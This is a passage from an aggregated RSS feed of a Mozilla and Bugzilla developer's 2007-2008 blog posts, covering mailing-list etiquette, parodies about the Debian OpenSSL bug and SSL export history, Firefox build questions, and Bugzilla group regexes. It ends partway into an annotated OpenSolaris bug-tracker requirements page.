some final polish to be done, we'd be told that something would be worked on
for Netscape 6.1. Waiting is part of the process.
</p>
<p>
There were plenty of reasons to be upset with Netscape, but the engineers were
given a certain degree of respect. And complaints about planning were
generally directed where they belonged (at managers who were quite a bit more
available than those from Nokia, including actually commenting in Bugzilla and
often being available on IRC).
</p>
<p>
If this were an open source only software project, and I knew of an inferior
product with inferior practices, I'd probably recommend that these people try
that product.
</p>
<h3>Why argue semantics about who is a user?</h3>
<p>
My view is that people, especially developers have an obligation to read
documentation and understand processes before they come and bother people.
</p>
<p>
<i>Users</i> (better <i>customers</i>) are supposed to contact the <u>sales channels</u> or
<u>official support forums</u>. I'm told that
<a href="https://maemo.org/mailman/listinfo/maemo-users">maemo-users</a> exists (I do <b>not</b>
<i>claim</i> it is a <u>support forum</u>, nor do i intend to read it, however
<a href="https://maemo.org/mailman/listinfo/maemo-developers">maemo-developers</a> is <b>not</b> a
<u>support forum</u> for <i>users</i>).
 
</p>

  <span class="net_nemein_favourites">2 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3ee86eb4393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3ee86eb4393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>3 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3ee86eb4393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3ee86eb4393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Thu, 12 Jun 2008 05:24:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3ee86eb4393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>A crypto tale of biblical proportion, part 2; The Garden of (D)E[db]ienSSL</title>
            <link>http://viper.haque.net/~timeless/blog/142/</link>
            <description><![CDATA[

   


<ol>
<li>And so after the creator had created (cat)
man (UNIX) in his image (POSIX)
<li>Man was appointed guardian (root) of the world (/)
<li>Man could name (/bin/mv) each program
<li>But man was lonely, and called out asking for a companion,
and so a creator made woman (Linux) after man.
<li>But then another creation story came and wiped out
the first creation story.
<li>Man was allowed to name all the sources and programs
and arrange all the packages.
<li>And this was Debian.
<li>But it was not quite pretty, so Woman came and in
partnership with man made Ubuntu - Human - ready to
use.
<li>The creator instructed man to pick from all the source
trees in the garden save two.
<li>The tree of knowledge of Cryptography, that is OpenSSL.
<li>and the tree of life (/bin/kill'ing things without
reason)
<li>Why the creator with infinite wisdom provided these
instructions, we do not know.
<li>Among POSIX's creatures was to be found a clever creature,
the snake (these can be recognized as loud users).
<li>One day the snake approached Eve and said that there
was something valuable to be taken from the tree of
knowledge.
<li>Eve said on behalf of Adam and the creator (of many
names, among them was OpenSSL-team) that taking the apple
from the tree might harm the tree and was forbidden.
<li>But the snake said why not remove the apple from the
tree, for there should be no harm to the tree in all of
its randomness.
<li>What is one more apple especially this noisy one.
<li>And Eve agreed.
<li>So Eve removed the apple (a small apple, just a few
lines of code, and they were not even very shiny).
<li>And Eve came to Adam and shared the apple with Adam.
<li>And this tree was the tree of Knowledge of Cryptography,
that we know of as OpenSSL.
<li>And Adam and Eve ate and were proud of their knowledge
and their power. For they learned to change many things.
<li>They made small things (clothing of all odd shapes,
with lots of holes, but it was from knowledge and
knowledge was good [and evil?]).
<li>One day the creator cried out to Adam:
<li>What is this that you have done!?
<li>Did I not tell you that you might play with all the
source trees in the garden, save two?
<li>And Adam said to the creator:
<li>But there was no problem, and I was merely tending
to the source trees. And I took what I was given by Eve,
for it was just an apple, a small apple.
<li>Eve said to the creator that the snake had given her
the suggestion to take the apple.
<li>The snake indicated that the advice was not for
sharing with everyone, but was merely an invitation to
experiment, and was misconstrued.
<li>So the creator kicked everyone out of the Garden of
Eden. For the security of the place was spoiled.
<li>Tasks for everyone became much more laborious.
<li>Adam (Debian) was forced to garden and weed manually,
collecting notes for each and every affected package and
writing instructions for how to clean them.
<li>Eve lost her dignity and was designated the evil partner
for all communications.
</ol>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3f4c968c393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3f4c968c393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>2 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3f4c968c393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3f4c968c393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Thu, 12 Jun 2008 02:22:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3f4c968c393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>X11 is like an Egg Toss</title>
            <link>http://viper.haque.net/~timeless/blog/143/</link>
            <description><![CDATA[

   


<p>
<!--http://benttroutlake.com/images/egg_toss.gif-->
<img src="http://viper.haque.net/~timeless/blog/143/egg_toss.gif" alt="Egg Toss">
</p>
<h3>Who are the players?</h3>
<ul>
<li>X (alone)
<li>a dozen guys (on the other side)
</ul>
<h2>Rules</h2>
<h3>What should someone do if X tosses an egg his way?</h3>

<p>
<a href="http://www.la.ngb.army.mil/langb_site/Stories/pics/easter2.JPG">Catch</a>
it, <i>of course</i>!
</p>
<p>
<!--http://lh3.ggpht.com/UGAclint/Rt7wTMPM5XI/AAAAAAAAAN4/Rn6boOuAPSQ/CCW_0125%20copy.jpg?imgmax=640-->
<img src="http://viper.haque.net/~timeless/blog/143/CCW_0125-copy.jpg" alt="incoming egg">
</p>
<p>
Failing to catch it will result in
<a href="http://www.columbusoncamera.com/MediaView.axd?m=1756">splatter</a>
</p>
<h3>What happens when the egg splatters?</h3>
<p>
That guy loses, and <u>you</u> should report his error to his management.
</p>
<p>
<!--http://i.pbase.com/o4/80/450380/1/63967957.7koyMXbB.IMG_6267.JPG-->
<img src="http://viper.haque.net/~timeless/blog/143/63967957.7koyMXbB.IMG_6267.JPG" alt="he's out">
</p>
<p>
Hopefully that guy will learn to be more careful about how he catches his next egg.
</p>
<p>
In the interim, he's out, and you've lost a program.
</p>
<h3>What should X do when someone tosses an egg to X?</h3>

<p>
<!--http://www.grandforks.af.mil/shared/media/photodb/web/070823-F-6318N-041.jpg-->
<img src="http://viper.haque.net/~timeless/blog/143/070823-F-6318N-041.jpg" alt="tossing an egg">
</p>
<p>
<b>Catch it</b>, <i>of course</i>!
</p>
<p>
Failing to catch it results in every other egg thrown at X falling
and you get upset. It's <u>your</u> job to report that X was bad at catching eggs to
the people responsible for X.
</p>
<h3>What about those eggs?</h3>
<p>
All eggs are created equal, anyone can send the exact same series of eggs to X.
It just happens that today it was Firefox which tossed the egg.
</p>
<p>
But tomorrow it might be someone else.
And they might be <i>malicious</i>, or just <i>careless</i>.
</p>
<h3>Why do we like eggs?</h3>
<p>
The neat thing about these eggs is that when they're reproducible, people on
all sides are happy, because reproducible eggs are catchable eggs. They can be
made into poached eggs since you can toss them again and again until you catch
them.
</p>
<p>
This is much better than simple scrambled eggs with no hints and lots of
suspects. This can happen if the kernel reboots or X doesn't leave a log and
you weren't there to watch (think about a Tsunami or an Earthquake, the world
shifts, and there's wreckage when you return but no sign of the culprit).
</p>
<h3>What can you do?</h3>
<p>
Help make the world a better place, report that dropped egg and get it caught
the next time.
</p>
<p>
<!--http://lh6.ggpht.com/arthur.defelice/Ruv9ViDMudI/AAAAAAAABa4/qMAusQjpn5A/Egg%20toss%202.JPG?imgmax=720-->
<img src="http://viper.haque.net/~timeless/blog/143/Egg-toss-2.JPG" alt="egg toss in progress">
</p>
<h3>Why not call it dodgeball?</h3>
<p>
Well, normally in dodgeball, people intentionally would bean X.
Here X is more like the reluctant father who was coerced by his family into
playing.
</p>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3faff95c393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3faff95c393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3faff95c393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3faff95c393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Tue, 10 Jun 2008 08:19:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3faff95c393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>Goodbye cruel world</title>
            <link>http://viper.haque.net/~timeless/blog/139/</link>
            <description><![CDATA[

   


<h3>Why do I visit mailing lists?</h3>
<p>
Often I'm invited.
</p>
<h3>Why am I leaving your mailing list?</h3>
<p>
Because it seems that there was a lack of respect for the official
target group of the mailing list by some people who joined it.
</p>
<h3>What's the harm in this?</h3>
<p>
Eventually my stress level exceeds my tolerance and bad things happen.
</p>
<h3>What can I do about it?</h3>
<p>
I'm leaving. If you want to contact me, try irc.
</p>

  <span class="net_nemein_favourites">1 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3e37cabe393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3e37cabe393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3e37cabe393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3e37cabe393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Fri, 06 Jun 2008 06:24:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3e37cabe393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>What scares a build engineer?</title>
            <link>http://viper.haque.net/~timeless/blog/137/</link>
            <description><![CDATA[

   


<p>
This is a silly question, really. Better to ask:
</p>
<h3>What doesn't scare a build engineer?</h3>

<p>
Sleep. <a href="http://benjamin.smedbergs.us/blog/category/personal/">Children</a>.
</p>
<p>
Some scary statements:
<ul>
<li>I just grabbed the firefox source and I'm about to build it for
the first time :-)
<li>Then comes the meddling...
</ul>
</p><h3>How do I specify which version of gcc on my system to use?</h3>
<ul>
<li>on osx you could use gcc_select
<li>however typically you'd use a mozconfig and add CC=, CXX=, etc
<li>please read about how to use a mozconfig
</ul>
<h3>What OS was this villain using?</h3>
<p>
*** CTCP VERSION reply: Version 5.2 - an IRC client for
emacs (<a href="http://emacswiki.org/cgi-bin/wiki/ERC">ERC</a>
(mailing list: <a href="mailto:erc-discuss@gnu.org">erc-discuss@gnu.org</a>))
<ul>
<li>emacs-os? - I'm not sure we <a href="http://www.mozilla.org/ports/">support</a>
that
<li>Gnu/Linux, <i>sorry</i> - Ubuntu 7.10, to be exact
</ul>
</p><h3>What's scary about that?</h3>
<ul>
<li>note that many versions of gcc are more or 
<a href="http://benjamin.smedbergs.us/blog/2006-03-28/gcc-and-visibility-one-step-forward-hit-a-brick-wall/">less</a>
broken
</ul>
<h3>What do you mean by "firefox source"?</h3>
<ul>
<li>did you grab the latest using client.mk checkout?
<li>or did you foolishly use apt-get source
<li>or did you download a firefox2 sourceball?
</ul>
<p>
<b>No</b>, I used <u>CVS</u>.
I wasn't aware of it (client.mk) until now
<ul>
<li>whatever you did sounds <b><u>wrong</u></b> :)
</ul>
</p><h3>How to start?</h3>
<p>
Read <a href="http://developer.mozilla.org/en/docs/Build_Documentation">Build_Documentation</a> perhaps?
</p>
<p>
Actually, what's more interesting is when people ask other questions.
Our villain asked a really scary question, because when I pointed him to
<a href="http:/<i>viper.haque.net</i>~timeless/mozconfig/tomoyo/gcc.mozconfig">gcc.mozconfig</a>
he noticed <i>--enable-crypto</i>.
</p>
<p>
Feel free to read my <a href="http://viper.haque.net/~timeless/blog/137/../138">retelling of that story</a>
</p>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3cd788bc393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3cd788bc393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3cd788bc393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3cd788bc393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Fri, 02 Nov 2007 11:24:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3cd788bc393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>A crypto tale of biblical proportion; SSL an annotated history with blame</title>
            <link>http://viper.haque.net/~timeless/blog/138/</link>
            <description><![CDATA[

   


<ol>
<li>In the beginning, there was
<a href="http://web.archive.org/web/19961020015116/http://www3.netscape.com/">Netscape</a>,
and there was the
<a href="http://www.gov">US Government</a>
<li>And they ignored eachother.
<ul>
<li>And all was well,
<li>because there was no commerce.
</ul>
<li>And then Netscape created
<a href="http://web.archive.org/web/19990428233733/developer.netscape.com/docs/manuals/security/sslin/contents.htm">SSL</a>,
<ul>
<li>and this was progress,
<li>but all was not good
<li>Netscape offered 40-bit encryption,
<li>and the US Government said, "that's ok",
<li>so things were not bad
</ul>
<li>But this was not quite good enough,
<ul>
<li>so Netscape offered 56-bit and 128-bit encryption,
<li>and the US Government said
"<a href="http://web.archive.org/web/19990203073902/developer.netscape.com/docs/manuals/security/exprt/contents.htm">not for export</a>"
</ul>
<li>And there was some degree of panic
<li>But all was good for <a href="http://www.commerce.gov/">commerce in the USA</a>.
<li>And then <a href="http://www.microsoft.com">Microsoft</a> stabbed Netscape,
<ul>
<li>and this was not good
</ul>
<li>So Netscape
<a href="http://web.archive.org/web/20060612202636/wp.netscape.com/newsref/pr/newsrelease558.html">promised</a>
to open source <a href="http://www.mozilla.org/mission.html">Mozilla</a>,
<ul>
<li>and there was some celebration
</ul>
<li>But the lawyers spoke up,
<ul>
<li>and reminded everyone about the US Government
</ul>
<li>So Mozilla was released without crypto
<ul>
<li>and with it were flags for <i>--enable-crypto</i> and <i>--disable-cypto</i>
<li>and this would lead to confusion
</ul>
<li>People inside Netscape could use the flag
<ul>
<li>because they had the source
<li>and people outside could try to add binary blobs later
</ul>
<li>With time, the sources for crypto were
<a href="http://bonsai-www.mozilla.org/cvsblame.cgi?file=mozilla-org/html/projects/security/pki/index.html&rev=1.9&root=/www">released</a>,
<ul>
<li>but the US Government was unswayed
<li>it continued to insist that strong crypto not be exported
</ul>
<li>And this was interpretted that crypto would not be on by default,
<ul>
<li>so it wasn't
</ul>
<li>With time, the government changed
<ul>
<li>its rules,
<li>regulations,
<li>and regulators
</ul>
<li>And some of the rules expired,
<ul>
<li>and this was progress
</ul>
<li>Finally, it was decided that it was ok to switch the default to <i>--enable-crypto</i>,
<ul>
<li>and some said this was good,
<li>or at least better
</ul>
<li>But alas,
<ul>
<li>people from the <u>micro-optimization-weenie</u> camp
<li>who didn't care about compatibility
<li>or supporting the internet
<li>would toggle random build flags
</ul>
<li>And this was still a build flag to this day
<li>So they came unto <u>#developers</u>
<ul>
<li>and asked bsmedberg about a problem yesterday,
<li>and he lamented
</ul>
<li>For while some of the regulations have expired,
<ul>
<li>there are still lawyers
<li>and they still worry that in some poor country it might be a violation of export law to not be able to build <i>--disable-crypto</i>
</ul>
<li>And as such, bsmedberg can not yet hide that flag from the <u>optimization weenies</u>
<li>And here we are the day after yesterday, retelling the story
<li>Fixing it will have to wait until the day after tomorrow?
</ol>
<p>
This story was brought to you in part by
<a href="http://google.com/search?q=cvs">CVS</a>,
<a href="http://www.mozilla.org">mozilla.org</a>, 
<a href="http://google.com/search?q=perl">Perl</a>,
and
<a href="http://bonsai.mozilla.org">Bonsai</a>
(sponsor of <a href="http://bonsai.mozilla.org/cvsblame.cgi">CVS Blame</a>)
</p>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3df44c12393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3df44c12393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3df44c12393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3df44c12393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Fri, 02 Nov 2007 11:07:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3df44c12393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>Creating exclusive Groups in Bugzilla</title>
            <link>http://viper.haque.net/~timeless/blog/136/</link>
            <description><![CDATA[

   


<h3>How do I make all my Spartans and Athinians members of Warriors?</h3>
<p>
Good question, obviously you need to edit groups, but you don't know if you
should be editing Spartans + Athinians, or if you should edit Warriors.
</p>
<p>
You're going to want to edit Warriors and check the Inherit column next to
the Spartans Group and the Athinians Group.
</p>
<ol>
<li>Load <a href="http://bugzilla/editgroups.cgi">editgroups.cgi</a>
<li>Find the Warrior Group and click its
<a href="http://bugzilla/editgroups.cgi?action=changeform&group=31">Edit</a> link
<li>Find the Athinians Group (it's sorted alphabetically ignoring case)
<li>Click the [ ] Inherit checkbox to the left of Athinians
<li>Find the Spartans Group (it's sorted alphabetically ignoring case)
<li>Click the [ ] Inherit checkbox to the left of Spartans
<li>Click [ Save Changes ]
</ol>
<p>
This means that Warriors includes all people matching the Warrior regexp,
all members of the Spartan Group, all members of the Athinian Group, and all
users manually added to the Warrior Group using editusers.
</p>
<h3>How do I make a group of all people who aren't related to Microsoft?</h3>
<p>
You're really anti-microsoft. Oh well.
</p>
<ol>
<li>Load <a href="http://bugzilla/editgroups.cgi">editgroups.cgi</a>
<li>Click <a href="http://bugzilla/editgroups.cgi?action=add">Add Group</a>
<li>Group: <u>Outspoken Minority</u>
<li>Description: <u>People who haven't gotten the one true message</u>
<li>User Regexp: <u>^(((?!microsoft).){9,}|.{1,8})$</u>
</ol>
<h3>Could you please explain that regular expression?</h3>
<p>
I'll try my best.
</p>
<p>
First, you want to allow anyone whose account name isn't long enough to contain
<u>microsoft</u>: <u>.{1,8}</u>. If you don't do that, you'll find people like tim@q.bt
complaining.
</p>
<p>
Second, you want to look for <u>individual characters</u>: <u>.</u> that aren't the first
letter in <u>microsoft</u>: <u>(?!microsoft).</u>
</p>
<p>
Third, you want at least nine of them. Well, perhaps you don't need that, but
it makes the other logic easier. <u>((?!microsoft).){9,}</u>
</p>
<p>
Fourth, you don't really care which case applies:
<u>(((?!microsoft).){9,}|.{1,8})</u>
</p>
<p>
Lastly, you want those rules to start at the beginning of the string and run
to the end, so <u>^</u>...<u>$</u>.
</p>
<p>
And now you've excluded your enemy.
</p>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3c9738c0393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3c9738c0393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3c9738c0393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3c9738c0393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Fri, 10 Aug 2007 01:34:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3c9738c0393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>Building a more exclusive community</title>
            <link>http://viper.haque.net/~timeless/blog/135/</link>
            <description><![CDATA[

   


<p>
If you're a growing Bugzilla installation, you sometimes need to create groups.
Groups enable you to isolate products, people, and bugs from one another.
</p>
<p>
In modern versions of Bugzilla, you can even use them to share queries, and in
current versions of Bugzilla, it's possible to configure a couple of very
special groups: insider, timetracking.
</p>
<p>
This leads to a big question, that I've been asked regularly:
</p>
<h3>How do I create a group which automatically includes people?</h3>
<ol>
<li>Use group inheritance. (But that of course requires the group to already
exist and have the people you want)
<li>Use a regular expression.
</ol>
<p>
You can probably guess the next couple of questions.
</p>
<h3>What kind of regular expressions are these?</h3>
<p>
Perl
</p>
<h3>So how do I ...?</h3>
<p>
I'll answer that in the follow up.
</p>
<p>
<a href="http://viper.haque.net/~timeless/blog/135/../136">Building Groups</a>
</p>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3c390ee4393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3c390ee4393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3c390ee4393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3c390ee4393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Fri, 10 Aug 2007 01:28:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3c390ee4393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>OpenSolaris needs a bug tracker</title>
            <link>http://viper.haque.net/~timeless/blog/133/</link>
            <description><![CDATA[

   <title>OpenSolaris needs a bug tracker</title>
<link rel=stylesheet type="text/css" href="http://viper.haque.net/~timeless/blog/133/../blog.css">
<h1>OpenSolaris needs a bug tracker</h1>

<p>
OpenSolaris is currently using a Sun internal bug tracker which they intend to
replace.

<h3>What does OpenSolaris need in a Bug tracker?</h3>
Stephen Hahn has written a
<a href="http://docs.google.com/View?docID=dhmd4jxt_57m7pjp5&revision=_latest">draft requirements document</a>.
<p>
<h3>What does Bugzilla offer?</h3>
Together with with other Bugzilla <a href="http://www.bugzilla.org/developers/profiles.html">developers</a>,
we've <a href="http://viper.haque.net/~timeless/blog/133/../134">annotated</a> that document.
Our responses are in the following article.

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3b959598393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3b959598393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3b959598393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3b959598393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Tue, 31 Jul 2007 06:59:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3b959598393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>OpenSolaris Draft DTS requirements Annotated</title>
            <link>http://viper.haque.net/~timeless/blog/134/</link>
            <description><![CDATA[

   <title>OpenSolaris Draft DTS requirements Annotated</title>
<style>
BODY, P, DIV, H1, H2, H3, H4, H5, H6, ADDRESS, OL, UL, TITLE, TD, OPTION, SELECT {
 font-family: Verdana;
 
}

BODY, P, DIV, ADDRESS, OL, UL, LI, TITLE, TD, OPTION, SELECT {  
  font-size: 10.0pt;
  margin-top:0pt;  
  margin-bottom:0pt;  
} 

BODY, P {
  margin-left:0pt; 
  margin-right:0pt;
}

BODY {
  line-height: ;

  margin: 6px;
  padding: 0px;
}

h6 { font-size: 10pt }
h5 { font-size: 11pt }
h4 { font-size: 12pt }
h3 { font-size: 13pt }
h2 { font-size: 14pt }
h1 { font-size: 16pt }

blockquote {padding: 10px; border: 1px #DDDDDD dashed }

a img {border: 0}

</style>




</head>


<body revision="dhmd4jxt_57m7pjp5:169">

<h1>
  OpenSolaris <span class=jive-subject><a name=131087></a>Draft DTS requirements
  Annotated</span>&nbsp;
</h1>
<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Annotations
are in comment blocks. general comments in default yellow. -Timeless 7/31/07
8:29 AM</span>&nbsp;<br>
<span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Comments
from mkanat (one of the lead developers of Bugzilla) are in this color. -Mkanat
7/30/07 11:07 PM</span>&nbsp;<br>
<br>
<br>
<div>
  <span class=jive-subject></span>
</div>
<div>
  <span class=jive-subject>Definitions</span>
</div>
<div>
  <div>
    <table border=0 cellpadding=3 cellspacing=0>
      <tbody>
      <tr>
        <td>
          Term
        </td>
        <td>
          Expansion
        </td>
      </tr>
      <tr>
        <td>
          DTS
        </td>
        <td>
          Defect Tracking System
        </td>
      </tr>
      <tr>
        <td>
          SMI
        </td>
        <td>
          Sun Microsystems Inc.
        </td>
      </tr>
      <tr>
        <td>
          IE
        </td>
        <td>
          Initial Evaluator
        </td>
      </tr>
      <tr>
        <td>
          RM
        </td>
        <td>
          Responsible Manager
        </td>
      </tr>
      <tr>
        <td>
          RE
        </td>
        <td>
          Responsible Engineer
        </td>
      </tr>
      <tr>
        <td>
          <br>
        </td>
        <td>
          <br>
        </td>
      </tr>
      <tr>
        <td>
          <br>
        </td>
        <td>
          <br>
        </td>
      </tr>
      <tr>
        <td>
          <br>
        </td>
        <td>
          <br>
        </td>
      </tr>
      <tr>
        <td>
          <br>
        </td>
        <td>
          <br>
        </td>
      </tr>
      </tbody>
    </table>
  </div>
</div>
<div>
  <br>
  ie
  <table border=0 cellpadding=0 cellspacing=0 width=100%>
    <tbody>
    <tr valign=top>
      <td width=99%>
        <div class=jive-message-list>
          <div class=jive-table>
            <table border=0 cellpadding=0 cellspacing=0 width=100%>
              <thead>
              <tr>
                <th class=jive-first-last>
                  <table border=0 cellpadding=0 cellspacing=0 width=100%>
                    <thead>
                    <tr>
                      <th width=1%>
